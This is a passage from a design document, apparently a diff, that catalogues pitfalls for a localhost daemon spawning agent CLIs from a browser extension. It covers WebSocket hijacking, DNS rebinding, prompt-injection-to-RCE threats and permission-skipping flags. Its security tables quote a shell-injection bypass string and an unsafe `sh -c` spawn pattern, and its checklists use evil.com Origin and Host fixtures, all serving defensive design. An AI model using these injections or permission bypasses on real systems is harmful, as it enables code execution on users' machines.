'chat'`.** `task` = fresh session, one-shot; `chat` = session_id must be provided. +2. **FSB persists `session_id` per (side panel, adapter).** On follow-up, pass `--resume `. On new task, mint a new session. +3. **Explicit UI affordance.** Side panel shows "Start new task" vs "Continue this conversation" with clear resume behavior. +4. **Per-adapter capabilities matrix.** Claude Code: `--resume` supported, `--continue` unreliable in `-p`. Codex `exec`: turn-based, no persistent session (yet). Gemini CLI: TBD, verify per version. Adapters must expose `caps.chatMode: boolean`. + +**Warning signs:** +- Same-session follow-ups produce agent responses like "I don't have context on your previous request." +- Two concurrent side-panel runs overwrite each other's session state. +- No `session_id` recorded in persisted delegation state. + +**Phase to address:** +Phase 61 (adapter contract) defines the two modes. Phase 62 (UX) ships the affordance. + +--- + +### Pitfall 13: Cold-start latency shocks the user + +**What goes wrong:** +User clicks "Delegate to Claude Code". Side panel spinner runs for 3-8 seconds while: (a) the daemon spawns `node` (~150-300 ms cold), (b) the CLI initializes (`claude` reads config, loads MCP servers, warms cache — 1-3 s), (c) the first LLM turn returns (2-5 s depending on model). User assumes it hung; clicks again. Now there are two delegated runs on the same tab (Pitfall 15). + +Node.js cold start alone is 150-300 ms per credible sources; the agent CLI stack on top of that pushes total to 3-8 s realistically for the first invocation. + +**Why it happens:** +Every delegation launches a fresh CLI subprocess. There is no warm pool. First-turn latency compounds Node init + CLI init + LLM first token. + +**How to avoid:** +1. **Optimistic UI.** Show "Starting Claude Code…" with progress step names (spawning → initializing → sending first prompt) so the user knows work is happening. +2. **Idempotent "Delegate" button.** Debounce and disable the button while a spawn is in flight. Multiple clicks CANNOT produce multiple spawns. +3. **Warm daemon.** The daemon can pre-fork the Node process pool or keep one CLI warm per selected adapter (memory tradeoff). For MVP: SKIP warm-pool; instead, focus on honest UX (step names). +4. **Cache the "installed clients" detection.** Don't re-scan disk (`platforms.ts` per-OS paths) on every side-panel open — this cost accumulates. +5. **Manage user expectations in copy.** The side panel button should read "Delegate (may take a few seconds to start)" rather than "Run" which implies immediacy. + +**Warning signs:** +- User double-clicks producing two parallel spawns. +- No progress state between "click" and "first agent output". +- Detection scan running on every side-panel focus event. + +**Phase to address:** +Phase 62 (delegation UX). Warm pool is deferred beyond MVP — do NOT add it in v0.9.91. + +--- + +### Pitfall 14: Cost surprises on subscription vs API billing + +**What goes wrong:** +User is on Claude Pro subscription, thinks delegated runs are "free" from their perspective. Reality (as of 2026): Anthropic **announced** on May 14, 2026 that programmatic `claude -p` and Agent SDK usage would be metered separately at API rates, then **paused** the change on June 15, 2026, promising advance notice before any future implementation. So the billing model is currently unchanged but explicitly uncertain. Meanwhile OpenAI Codex, Gemini CLI, and third-party CLIs each have their own subscription/API split that FSB does not control. + +Compounded risk: a runaway agent (Pitfall 3, Pitfall 4) can burn through a subscription's request quota OR blow API credits in minutes. Reported industry norm: "A runaway agent or a bad prompt can burn through credit fast and then either stop your pipeline or quietly start garnering extra usage." + +**Why it happens:** +FSB has no visibility into the CLI's billing model; the CLI has no visibility into FSB's intent. + +**How to avoid:** +1. **Per-adapter billing disclosure in the Providers panel.** For each agent provider, show a one-liner: "Claude Code: uses your Claude subscription today; Anthropic has announced future changes — check status." Link to the vendor's current billing docs. +2. **Session-level token/turn ceiling.** The delegation payload includes a max-turns cap (e.g., 50 turns default). Adapter passes to the CLI where supported (Claude Code: `--max-turns`; Codex `exec`: turn count limit). If unsupported, FSB kills the CLI at the cap. +3. **Live token estimate in side panel.** The v0.9.69 telemetry pipeline already models per-MCP-client token/cost per turn — reuse for delegation. Show cumulative estimate, not just a raw count. +4. **Warn on billing model changes.** If a new Anthropic pricing announcement lands during the milestone (or any adapter's), Providers panel copy MUST reflect the new state within the release cycle. Do NOT hardcode "free with your subscription" language. +5. **Post-run cost summary.** Every delegated run ends with a card summarizing turns / tokens / estimated cost. + +**Warning signs:** +- Copy that says "unlimited" or "free" for any adapter. +- No max-turn cap in the spawn payload. +- No post-run cost summary. + +**Phase to address:** +Phase 62 (UX). Reuse v0.9.69 telemetry primitives. + +--- + +### Pitfall 15: The spawned agent and the user fight over the same browser tab + +**What goes wrong:** +User delegates "Buy this hoodie". Claude Code starts driving the browser via FSB's MCP. User simultaneously scrolls the same tab, opens a dev tool, or clicks a link. Now: +- Agent's `read_page` returns a snapshot from an in-between state; agent decides "the button is at coord (400, 300)"; user has scrolled; agent's `cdp_click_at` clicks a completely wrong element. +- User clicks "Add to cart"; agent's next tool call is `read_page`; agent sees the cart page, gets confused, tries to navigate back. +- Focus-steal on tab switch collides with the agent's next `switch_tab` call. + +Cursor and OpenClaw report this exact bug class. Browser-Use has multiple issues on parent/sub-agent tab conflict. + +**Why it happens:** +v0.9.60 already solved multi-agent-per-tab collision via tab ownership. But the ORIGINAL user is not an agent with a tokenized owner — they own the browser physically. There is no code-side lock the user can respect. + +**How to avoid:** +1. **Delegation UI explicitly asks: "Let Claude drive this tab, or open a new tab?"** Default: new tab. If new tab, `open_tab` (background) claims ownership for the delegated agent. Original tab stays with the user. +2. **When the user MUST watch (checkout, form fills), show a full-tab banner: "Claude Code is driving this tab. Take control?"** Clicking "Take control" pauses the agent and yields ownership. Existing v0.9.24 partial-outcome + auth-wall handoff patterns provide the receipt. +3. **Change-report reconciliation.** v0.9.60's post-action `change_report` already reports URL/DOM delta between action and observation. Extend to detect "unexpected user input" (URL changed to something the agent did not navigate to → assume user grabbed the wheel, pause the agent). +4. **Explicit lock on interactive fields.** When the agent is typing into a form, install a click-guard overlay (v0.9.36 badge pattern). User click on the guard = "yield control?". +5. **NEVER auto-focus the delegated tab.** Background execution by default (v0.9.60 Phase 246 already commits to this for MCP-routed surfaces — extend to delegation). + +**Warning signs:** +- Any code path that steals focus on delegation start. +- No detection of user-initiated navigation during an agent turn. +- User reports "the agent broke because I scrolled." + +**Phase to address:** +Phase 62 (delegation UX). Reuse v0.9.60 ownership infrastructure; the delta is user-vs-agent, not agent-vs-agent. + +--- + +### Pitfall 16: Hub/relay bridge topology edge case — hub exits mid-run + +**What goes wrong:** +The existing bridge tests (`tests/mcp-bridge-topology.test.js`) verify multi-hub / multi-relay routing. Delegation adds a new node: the daemon spawns a CLI which connects back to FSB's MCP as its own client. If the hub (the daemon's MCP server) exits mid-run, the CLI's MCP transport drops. Depending on adapter behavior, the CLI either: +- Exits (best case; extension detects agent gone, user sees "agent offline"). +- Hangs forever waiting for MCP reconnection (worst case; user cancels, but the extension already lost visibility). +- Reconnects to a fresh hub instance that does not know about this agent's ownership state → cross-agent tab claim collision. + +INV-01 forbids changing any existing MCP wire contract. So delegation's new event types MUST be additive; a hub restart that revives with an older protocol version must degrade gracefully, not break the delegation. + +**Why it happens:** +The delegation topology is new; existing bridge tests do not cover the "CLI-as-MCP-client-of-FSB-daemon" case. + +**How to avoid:** +1. **CLI-as-client heartbeat.** The adapter contract requires each CLI to ping FSB's MCP server every 30 s (v0.9.60's connection_id + reconnect grace pattern applies here). Missed pings → daemon removes the agent's ownership; extension is notified. +2. **Hub restart re-registers agents from persisted state.** On daemon restart, the daemon reads persisted `(agent_id, connection_id, adapter)` and rejects incoming MCP connections that do not match. Prevents ghost-agent revival attacks. +3. **Additive event types only.** Every new bridge event for delegation (`delegation:start`, `delegation:progress`, `delegation:end`, etc.) uses new type strings; all existing types byte-stable. INV-01 gate covers this — extend the existing test that pins EXPECTED_NON_TRIGGER_REGISTRY_HASH to also pin the bridge event-type set. +4. **Topology test coverage.** Add cases for: hub exit during CLI init; hub exit during CLI turn; CLI exits before hub sees the completion; hub sees TWO CLIs claiming the same agent_id (only one wins). + +**Warning signs:** +- Any new bridge event that renames or reshapes an existing event. +- Any tool schema change on the CLI-facing MCP surface. +- Topology test suite lacks hub-restart-mid-delegation cases. + +**Phase to address:** +Phase 60 (channel design). Bridge topology tests extended in every subsequent phase that touches the wire. + +--- + +## Technical Debt Patterns + +Shortcuts that seem reasonable but create long-term problems. + +| Shortcut | Immediate Benefit | Long-term Cost | When Acceptable | +|----------|-------------------|----------------|-----------------| +| `--dangerously-skip-permissions` as default | "Just works" demo | RCE-adjacent (Pitfall 3, 4); every prompt-injection incident becomes RCE | **Never.** Not even in an "advanced mode." | +| URL-query shared secret (`?token=abc`) | Simple to code | Leaks via access logs, DevTools, packet captures | **Never.** Use `Sec-WebSocket-Protocol` header. | +| Skip Origin check "because we only bind localhost" | Removes handshake complexity | CSWSH (Pitfall 1), DNS rebind (Pitfall 2) | **Never.** Both are documented, exploited-in-the-wild attack vectors. | +| `child.kill()` without tree-kill | 1-line implementation | Zombies on Windows, orphaned grandchildren on POSIX (Pitfall 6) | Only in a shrink-wrapped Node script that spawns zero grandchildren. Delegation always violates this. | +| Manual `stdout.on('data')` buffer accumulation | Small code | Backpressure deadlock (Pitfall 7) on long runs | Only if the total output is guaranteed < 4 KB. | +| In-memory `Map` in SW | Fast reads | State loss on SW eviction (Pitfall 10) | Only for read-only caches that can rehydrate from storage. | +| Warm CLI pool | Reduces cold-start (Pitfall 13) | Memory footprint; RCE persistence horizon (killed daemon still has a warm attacker's CLI in memory) | Post-MVP. Do NOT add in v0.9.91. | +| "Auto-detect" clients from `clientInfo` without allowlist | Zero UX friction | Spoofing (v0.9.36 already used allowlisted labels for exactly this reason) | Only for observability/logging; NEVER for permission decisions. | +| Ship a native messaging host to bypass MV3 SW limits | Solves Pitfall 10 completely | Adds `nativeMessaging` permission (extension review risk); native binary distribution/signing burden per OS | Deferred option in PROJECT.md; do NOT ship in v0.9.91. | + +--- + +## Integration Gotchas + +Common mistakes when connecting to external services. + +| Integration | Common Mistake | Correct Approach | +|-------------|----------------|------------------| +| Claude Code CLI | Use `--continue` in `-p` mode expecting session resume | It silently creates a new session; use `--resume ` | +| Claude Code CLI | Pass user prompt via `--system-prompt` | Prompt injection surface; use `--append-system-prompt` or positional prompt | +| Claude Code CLI | Skip `--strict-mcp-config` | User's global MCP config bleeds into delegation; hermetic runs require it (PROJECT.md commits to this) | +| Codex CLI (`exec`) | Merge stdout and stderr | Progress is on stderr, final message on stdout — separate streams | +| Gemini CLI | Use `--yolo` in non-interactive | Bypasses trust; documented as the CVSS 10 vector | +| Gemini CLI | Trust workspace folder auto | GHSA-wpqr-6v78-jr5g — workspace trust auto-accepts in headless; force explicit `--no-trust-workspace` | +| Any agent CLI | Load user's home-dir agent definition | TrustFall vector; ship FSB's `fsb` agent definition explicitly | +| Any agent CLI | Assume `--version` output format | Not stable; parse defensively, log unknown formats | +| MCP handshake (`initialize`) | Treat `clientInfo.name` as authoritative | Trivially spoofable; use for observability only, gate permissions on the WS transport identity | +| MCP tools registration | Change existing tool schemas | Violates INV-01; all new delegation events must be new types | +| Chrome `chrome.storage.local` | Store the daemon shared secret | Readable by any process reading the profile; use a file with mode 0600 in `~/.fsb/` | +| WebSocket to localhost | Bind `0.0.0.0` | Reachable from LAN + Docker; bind `127.0.0.1` only | +| WebSocket to localhost | Accept any Origin | CSWSH; strict extension-ID allowlist | + +--- + +## Performance Traps + +Patterns that work at small scale but fail as usage grows. + +| Trap | Symptoms | Prevention | When It Breaks | +|------|----------|------------|----------------| +| SW keepalive via `chrome.runtime.getPlatformInfo()` every 20 s | Extra CPU, battery drain on laptops | Use WebSocket heartbeat (Chrome 116+ resets SW timer on WS messages) | Any user with the extension always-on | +| Stdout accumulation without drain | Silent CLI stalls after ~64 KB output | `readline` interface + immediate forwarding | Any run longer than a few thousand tokens | +| No detach on `spawn` | Kill leaves grandchildren running; CLI eats memory | `{ detached: true }` + group kill | Any run that spawns MCP sub-servers or shell tools (all of them) | +| Re-scan `platforms.ts` disk paths on every side-panel focus | Slow UI, disk IO | Cache with `chrome.storage.local` + invalidate on install-CLI events | Users with 20+ candidate clients installed | +| No max-turns cap | Runaway agent burns API credit / subscription requests | Enforce `--max-turns` cap in adapter | Any long/hard task; any prompt-injection incident | +| Ring buffer for progress events without eviction | Memory growth over long runs | Bounded queue (e.g., 1000 events) with drop-oldest | Any delegation > 20 min | +| Broadcasting every JSONL line to the side panel | Side-panel React/DOM churn | Batch to 30 fps (~33 ms coalesce window) | Streams > ~30 events/s (chatty models) | + +--- + +## Security Mistakes + +| Mistake | Risk | Prevention | +|---------|------|------------| +| Accept spawn requests from any WebSocket origin | CSWSH → RCE (Mailpit, Dozzle, Nanobot 2025-2026 CVEs) | Extension-ID allowlist on Origin | +| Skip Host header validation on localhost binding | DNS rebinding → RCE (CVE-2025-66414/66416; CVE-2025-49596) | Reject Host != `127.0.0.1`/`localhost` | +| Let the reverse-request payload set CLI flags | Prompt-injection escalates to RCE (CVE-2025-59536, TrustFall) | Daemon owns the flag set; reject unknown payload keys | +| Ship `--dangerously-skip-permissions` / `--yolo` as default | 1-click RCE on any prompt injection | Never expose the flag through delegation | +| Use `sh -c "claude -p '$prompt'"` for spawn | Shell injection (CVE-2025-54795) | `execFile`/`spawn` with argv array; never a shell | +| Log the shared secret in diagnostics | Token leak → spawn RCE | Redact `Sec-WebSocket-Protocol`, `token=`, `?token` patterns | +| Store secret in `chrome.storage.sync` | Syncs across devices — huge leak surface | `chrome.storage.local` or file-based; never sync | +| Trust `clientInfo.name` from MCP handshake | Spoofable — used as evidence for permission decisions → priv-esc | Allowlist for observability; gate permissions on transport ownership | +| Auto-trust project-local agent config | TrustFall class (May 2026, all four major CLIs) | Ship FSB's shipped `fsb` agent definition; `--strict-mcp-config` mandatory | +| Bind daemon to `0.0.0.0` for "just in case" LAN | LAN attackers reach spawn channel | `127.0.0.1` only | +| Skip TLS on the daemon-side stdio connection to the CLI | N/A — stdio is process-local, not TLS-able | Rely on process ownership; do not expose the stdio channel over network | +| Merge delegation progress into the visual-session badge without ownership check | Cross-agent badge spoofing (v0.9.36 anti-pattern) | Reuse v0.9.36 allowlist + ownership token pattern | +| Store executed prompts un-redacted (for audit) alongside secrets | Prompt log becomes a leak vector | Separate stores; redact known secret shapes on write | + +--- + +## UX Pitfalls + +| Pitfall | User Impact | Better Approach | +|---------|-------------|-----------------| +| Silent 3-8 s cold start (Pitfall 13) | User double-clicks, spawns two runs | Step-labeled progress ("spawning → initializing → sending prompt"); disable button while in flight | +| No "who is running" indicator | User confused about which client did what | Agent-suffix badge (v0.9.60 pattern) with adapter name | +| Chat mode uses `-p` per turn (Pitfall 12) | Agent has no context; user thinks "AI is dumb" | Explicit `session_id` + `--resume` per adapter capability | +| No cost visibility (Pitfall 14) | Bill shock / quota exhaustion | Live token estimate + post-run cost card | +| Agent hijacks the user's active tab (Pitfall 15) | User loses control; work destroyed | Default to background tab; explicit "take control" affordance | +| "Delegate" button reads "Run" | Implies immediacy; user tolerance is 500 ms, not 5 s | "Delegate (starts in a few seconds…)" | +| Doctor state shows spinner on daemon offline | User doesn't know what to do | Explicit "Restart daemon: `npx -y fsb-mcp-server serve`" step | +| Providers panel copy says "no key required — free!" | Users delegate 500 tasks, subscription tanks | "Uses your subscription; check current billing" + link | +| No visible list of what the agent has done | User can't verify or reverse | Action log alongside the side panel (v0.9.24 action-history pattern) | +| Silent CLI hang looks identical to "thinking" | User waits 10 min for a dead CLI | Progress-idle warning at 30 s + kill switch always visible | +| No "recent delegations" audit | User can't review what was executed | Persisted ring buffer of (prompt, adapter, outcome, cost) | + +--- + +## "Looks Done But Isn't" Checklist + +Things that appear complete but are missing critical pieces. + +- [ ] **Delegation MVP:** Often missing Origin allowlist on the reverse-request WS — verify a fixture with `Origin: https://evil.com` is rejected before merge (Pitfall 1). +- [ ] **Delegation MVP:** Often missing DNS-rebind Host check — verify a fixture with `Host: evil.com:7225` is rejected even though the target resolves to loopback (Pitfall 2). +- [ ] **Spawn payload contract:** Often accepts flag overrides from the wire — verify the daemon rejects any payload key not in the strict allowlist (Pitfall 3). +- [ ] **"Skip permissions" toggle:** Often ships as a "faster mode" — verify grep of the entire codebase for `dangerously-skip-permissions` finds only test/documentation strings, not spawn code (Pitfall 4). +- [ ] **Shared secret:** Often leaks into diagnostic logs — verify the redaction test suite includes `token=` and `Sec-WebSocket-Protocol` patterns (Pitfall 5). +- [ ] **Kill switch:** Often kills only the parent — verify grandchild processes (spawned by the CLI) are terminated on cancel, on all supported platforms (Pitfall 6). Test on Windows explicitly. +- [ ] **Long runs:** Often deadlock at ~64 KB stdout — verify a fixture that emits 200 KB of JSONL completes without stall (Pitfall 7). +- [ ] **Daemon crash:** Often leaves running CLI processes — verify orphan scan on daemon startup terminates them (Pitfall 8). +- [ ] **Adapter version compat:** Often assumes latest — verify per-adapter compatibility matrix + fail-loud on unknown event types (Pitfall 9). +- [ ] **SW eviction:** Often loses state — verify a fixture that forces SW eviction mid-delegation preserves state on respawn (Pitfall 10). +- [ ] **Tripwire tests:** Often break silently across the milestone — verify CI runs the FULL test suite on every extension-touching PR from the first commit (Pitfall 11). +- [ ] **Chat mode:** Often uses `-p` per turn — verify follow-up prompts genuinely resume the agent's context via `--resume ` (Pitfall 12). +- [ ] **Cost visibility:** Often absent — verify every completed run shows a cost summary card (Pitfall 14). +- [ ] **Tab conflict:** Often steals focus — verify delegation defaults to a background tab (Pitfall 15). +- [ ] **Bridge topology:** Often lacks hub-restart cases — verify test suite includes hub-exit-mid-delegation cases (Pitfall 16). +- [ ] **INV-01:** Often violated additively "safely" — verify the frozen `EXPECTED_NON_TRIGGER_REGISTRY_HASH` and bridge event-type pin are unchanged after all delegation wiring lands. +- [ ] **Agent identity capture:** Often only records copy-clicks — verify `clientInfo` from MCP `initialize` is threaded through the existing `agent:register` round-trip (currently empty payload per PROJECT.md). +- [ ] **Providers panel rename:** Often just renames text — verify `agent` provider kind hides API-key field and installs the recommended-default rule (connected > installed > copy-clicked). + +--- + +## Recovery Strategies + +When pitfalls occur despite prevention, how to recover. + +| Pitfall | Recovery Cost | Recovery Steps | +|---------|---------------|----------------| +| CSWSH / DNS-rebind vulnerability discovered post-ship (Pitfall 1, 2) | HIGH | Emergency point release; force-close the bridge; ship Origin/Host checks; force-upgrade extension via Chrome Web Store update priority; publish security advisory | +| Prompt-injection RCE demonstrated in the wild (Pitfall 3) | HIGH | Same as above + audit shipped prompt logs + notify Anthropic/OpenAI/Google if their CLI's contract enabled the escape | +| `--dangerously-skip-permissions` accidentally exposed (Pitfall 4) | HIGH | Same as CSWSH; every affected user must restart the daemon to invalidate any warm-token state | +| Shared secret leak (Pitfall 5) | MEDIUM | Rotate on daemon restart; force one-time re-pair via control-panel prompt | +| Orphaned CLI processes (Pitfall 6) | LOW | Ship next release with tree-kill fix + orphan scanner on startup; run scanner via `fsb-mcp-server doctor` in the meantime | +| Stdout backpressure deadlock (Pitfall 7) | MEDIUM | Point release with `readline` refactor; interim workaround: cap max stream length in the CLI's system prompt | +| Daemon crash orphans (Pitfall 8) | LOW | Same as Pitfall 6 + add heartbeat to next release | +| Adapter drift breaks delegation (Pitfall 9) | LOW-MEDIUM | Compatibility matrix update; ship version-guarded adapter; user runs `fsb-mcp-server doctor` to confirm compat | +| SW eviction loses delegation state (Pitfall 10) | LOW | Point release with `chrome.storage.session` writes on every progress event | +| Source-pin tripwire break (Pitfall 11) | LOW | Fix in-milestone; tripwires are early-detection so cost stays small when honored | +| Chat/task mode confusion (Pitfall 12) | LOW | Documentation + UI copy update; adapter contract adds `session_id` | +| Cost surprise (Pitfall 14) | LOW-MEDIUM | Providers-panel copy update; add cost card; user reimbursement handled per vendor's usual channels (not FSB's problem to fix) | +| User-vs-agent tab conflict (Pitfall 15) | LOW | Default-background-tab + take-control affordance; ship next release | +| Bridge topology regression (Pitfall 16) | MEDIUM | Test coverage gap: add hub-exit-mid-delegation case; ship fix in next release | +| INV-01 wire contract violation | HIGH | Any client that upgraded FSB but not their local CLI could break; roll back the wire change; every new event must remain additive; audit the frozen hash test | + +--- + +## Pitfall-to-Phase Mapping + +How roadmap phases should address these pitfalls. Phases 57-63 are the working assumption; final phase numbers land in Phase 57 (requirements definition). + +| Pitfall | Prevention Phase | Verification | +|---------|------------------|--------------| +| 1. Missing Origin validation (CSWSH) | Phase 60 (channel design) | Fixture: `Origin: https://evil.com` handshake rejected | +| 2. DNS rebinding | Phase 60 (channel design) | Fixture: `Host: evil.com:7225` handshake rejected | +| 3. Prompt-injection → spawn RCE | Phase 60 + 61 + 62 (defense-in-depth) | Argv construction lint; adapter payload key allowlist; explicit consent tier test | +| 4. `--dangerously-skip-permissions` defaults | Phase 60 + 62 | Grep-fail CI gate; UX copy audit | +| 5. Shared secret handling | Phase 60 (design) + 62 (rotation UX) | Redaction test suite includes token patterns | +| 6. Zombie / orphaned children | Phase 61 (adapter contract) | Windows + POSIX kill-tree fixtures; orphan scanner | +| 7. Stdout backpressure | Phase 61 (adapter contract) | 200 KB JSONL fixture completes | +| 8. Daemon crash mid-run | Phase 62 (daemon lifecycle) | Kill-daemon test asserts extension outage detection ≤10 s | +| 9. Version drift | Phase 61 (contract) + 63 (drift CI) | Per-adapter version detection; unknown-event fail-loud | +| 10. MV3 SW eviction on long runs | Phase 62 (SW persistence) | `chrome.storage.session` write per progress event; SW-kill fixture | +| 11. Source-pin tripwire breakage | Every extension-touching phase | Full test suite green on every PR | +| 12. Chat vs one-shot mismatch | Phase 61 (adapter caps) + 62 (UX) | Follow-up prompt fixture verifies session continuity | +| 13. Cold-start latency shock | Phase 62 (UX) | Progress step labels; button debounce | +| 14. Cost surprises | Phase 62 (Providers panel copy) + reuse v0.9.69 telemetry | Cost card renders; providers copy references current billing | +| 15. User vs agent tab conflict | Phase 62 (default-background + take-control) | Delegation default opens background tab; take-control affordance test | +| 16. Hub/relay bridge topology edge cases | Phase 60 (design) + every wire-touching phase | Bridge topology test suite includes hub-exit-mid-delegation | + +**Phase reads (working assumption; final numbering set in Phase 57):** +- **Phase 57 (requirements definition):** Bakes tripwire and INV-01 gates into the milestone charter. Names Pitfalls 1-5 as security-critical (must-ship-first). +- **Phase 58 (agent identity capture):** Threads `clientInfo` through `agent:register`; disk-detection of installed clients. Low pitfall exposure — allowlist-only. +- **Phase 59 (Providers panel rename):** Rename + `agent` kind + recommended default. Low pitfall exposure — UI-only. Copy must reflect Pitfall 14 (cost). +- **Phase 60 (channel design + secure spawn):** Pitfalls 1, 2, 3, 5, 16 land here. The security foundation. +- **Phase 61 (adapter contract):** Pitfalls 3 (argv), 6, 7, 9, 12 land here. Kill-tree, backpressure, version guards, chat/task modes. +- **Phase 62 (delegation UX + lifecycle):** Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. Consent tiers, daemon lifecycle, cost card, take-control affordance. +- **Phase 63 (CI drift gate + doctor):** Pitfall 9 (drift smoke) + Pitfall 8 (doctor recovery UX). +- **Phase 64+ (Codex/Gemini/OpenCode adapters):** Each new adapter re-uses the Phase 61 contract; per-adapter caps + version matrix + credentials story. + +--- + +## Sources + +### 2025-2026 CVEs and Advisories + +- [Critical RCE in Anthropic MCP Inspector (CVE-2025-49596)](https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596) — CVSS 9.4; MCP proxy accepts stdio commands with no auth or origin gate; DNS rebinding exploitable. +- [MCP Inspector CVE-2025-49596 (NVD detail)](https://nvd.nist.gov/vuln/detail/CVE-2025-49596) +- [MCP Horror Stories: The Drive-By Localhost Breach (Docker)](https://www.docker.com/blog/mpc-horror-stories-cve-2025-49596-local-host-breach/) +- [DNS Rebinding in Official MCP SDKs (CVE-2025-66414 / CVE-2025-66416)](https://vulnerablemcp.info/vuln/cve-2025-66414-66416-dns-rebinding-mcp-sdks.html) — TypeScript SDK (fixed 1.24.0) and Python SDK (fixed 1.23.0). +- [Rafter — DNS Rebinding and Localhost MCP](https://rafter.so/blog/mcp-dns-rebinding-localhost) +- [CVE-2025-59536: Claude Code project files → RCE + API token exfiltration (Check Point Research)](https://research.checkpoint.com/2026/rce-and-api-token-exfiltration-through-claude-code-project-files-cve-2025-59536/) +- [CVE-2025-54794 / CVE-2025-54795: Claude Code path bypass + command injection (Cymulate)](https://cymulate.com/blog/cve-2025-547954-54795-claude-inverseprompt/) — `echo` whitelist bypass via `"\"; ; echo \""`. +- [Google Gemini CLI CVSS 10.0 RCE (Novee Security)](https://novee.security/blog/google-gemini-cli-rce-vulnerability-cvss-10-critical-security-advisory/) — GHSA-wpqr-6v78-jr5g; workspace-trust bypass in headless. +- [Gemini CLI Vulnerability (Tracebit)](https://tracebit.com/blog/code-exec-deception-gemini-ai-cli-hijack) +- [TrustFall: 1-Click RCE Across Claude, Cursor, Gemini CLI, Copilot (Adversa AI)](https://adversa.ai/blog/trustfall-coding-agent-security-flaw-rce-claude-cursor-gemini-cli-copilot/) — folder-trust bypass, May 2026. +- [TrustFall follow-up (Lyrie Research)](https://lyrie.ai/research/research/2026-05-09-trustfall-agentic-rce) +- [Mailpit CSWSH Advisory (GHSA-524m-q5m7-79mm)](https://github.com/axllent/mailpit/security/advisories/GHSA-524m-q5m7-79mm) +- [Dozzle CSWSH on `/exec` and `/attach` (CVE-2026-44985, GHSA-j643-x8pv-8m67)](https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67) +- [Nanobot WhatsApp Bridge CSWSH (GHSA-v5j3-4q66-58cf)](https://github.com/HKUDS/nanobot/security/advisories/GHSA-v5j3-4q66-58cf) +- [Cross-Site WebSocket Hijacking Exploitation in 2025 (Include Security)](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) — current state of browser mitigations; some past attacks still work. +- [MCP Untrusted Servers and Confused Clients (Embrace the Red)](https://embracethered.com/blog/posts/2025/model-context-protocol-security-risks-and-exploits/) +- [Palo Alto Unit 42: Web-based indirect prompt injection observed in the wild](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/) + +### Vendor Documentation / Official Guidance + +- [Claude Code — `--dangerously-skip-permissions` (Truefoundry)](https://www.truefoundry.com/blog/claude-code-dangerously-skip-permissions) +- [Claude Code — Anthropic security best practices (General Analysis)](https://generalanalysis.com/guides/anthropic-claude-code-security-best-practices) +- [Claude Code — Work with sessions](https://code.claude.com/docs/en/agent-sdk/sessions) +- [Claude Code — `--continue` silently creates a new session in non-interactive (`-p`) mode (Kent Gigger)](https://kentgigger.com/posts/claude-code-conversation-history) +- [Claude Code — stream-json format (Background Claude)](https://backgroundclaude.com/blog/stream-json) +- [Claude Code — stream-json output undocumented issue #24594](https://github.com/anthropics/claude-code/issues/24594) +- [Claude Code — event-type documentation feature request #24612](https://github.com/anthropics/claude-code/issues/24612) +- [Claude Code — `--strict-mcp-config` behavior issue #1111](https://github.com/multica-ai/multica/issues/1111) +- [Anthropic — Claude billing split delay (June 15, 2026 pause)](https://www.digitalapplied.com/blog/anthropic-claude-credit-overhaul-june-15-2026) +- [Anthropic pauses Claude Agent SDK subscription change (The New Stack)](https://thenewstack.io/anthropic-pauses-claude-agent-sdk-subscription-change/) +- [Codex CLI — Headless Execution Mode (DeepWiki)](https://deepwiki.com/openai/codex/4.2-model-provider-configuration) +- [Codex CLI — Headless / Non-Interactive Mode (Developer Toolkit)](https://developertoolkit.ai/en/codex/advanced-techniques/non-interactive/) +- [MCP — Handshake, initialize, clientInfo (IMTI)](https://imti.co/mcp-handshake-lifecycle/) +- [MCP — Authorization tutorial](https://modelcontextprotocol.io/docs/tutorials/security/authorization) + +### Chrome / MV3 / Runtime + +- [Chrome — Extension service worker lifecycle](https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle) — 30 s idle + 5 min single-request limits. +- [Chrome — Longer extension service worker lifetimes](https://developer.chrome.com/blog/longer-esw-lifetimes) +- [Chrome — Use WebSockets in service workers](https://developer.chrome.com/docs/extensions/how-to/web-platform/websockets) — Chrome 116+ WS activity extends SW lifetime. +- [Chrome — Native messaging](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) +- [Chrome — Offscreen Documents in MV3](https://developer.chrome.com/blog/Offscreen-Documents-in-Manifest-v3) — WebSocket in offscreen not supported. +- [Chrome — Vibe Engineering: MV3 SW keepalive (Medium)](https://medium.com/@dzianisv/vibe-engineering-mv3-service-worker-keepalive-how-chrome-keeps-killing-our-ai-agent-9fba3bebdc5b) + +### Node.js child_process / streams + +- [Node.js — Child process (v26)](https://nodejs.org/api/child_process.html) — Windows signal handling caveats. +- [Node.js — Backpressuring in streams](https://nodejs.org/learn/modules/backpressuring-in-streams) +- [Auto-Claude #1252: Windows process cleanup broken — zombies accumulate](https://github.com/AndyMik90/Auto-Claude/issues/1252) +- [Node.js #46569: Unrefed child_process inside a worker thread becomes a zombie](https://github.com/nodejs/node/issues/46569) +- [Node.js help #1389: Correct way to kill a child process](https://github.com/nodejs/help/issues/1389) +- [Killing process families with Node (Almenon)](https://medium.com/@almenon214/killing-processes-with-node-772ffdd19aad) + +### Browser Agents / Tab Conflicts + +- [Cursor forum: agents use the same browser tab, conflict](https://forum.cursor.com/t/agents-use-the-same-browser-tab-which-creates-a-conflict/151571) +- [OpenClaw #3605: sub-agents share browser profile with parent](https://github.com/openclaw/openclaw/issues/3605) +- [browser-use #1920: multiple agents on same browser, second agent errors](https://github.com/browser-use/browser-use/issues/1920) +- [OpenClaw #25228: MV3 SW lifecycle breaks relay](https://github.com/openclaw/openclaw/issues/25228) + +### Repo-internal references (verified via graphify) + +- `extension/background.js:8731` — `fsbDispatchInternalMessage()`, same-context dispatch. Auto-memory confirms `sendMessage` does not loop back in-SW; the delegation dispatcher must use this bus. +- `tests/mcp-bridge-topology.test.js` — existing bridge topology tests; extend, do not replace. +- FSB source-pin tripwire policy — auto-memory `fsb-source-pin-tripwires.md`. +- PROJECT.md v0.9.91 Key Context — bridge already rejects untrusted browser origins for MCP; INV-01 wire contracts byte-stable; MV3 SW lifetime constraint acknowledged. + +--- +*Pitfalls research for: localhost daemon spawning agent CLIs on request from a browser (MV3) surface* +*Researched: 2026-07-10* diff --git 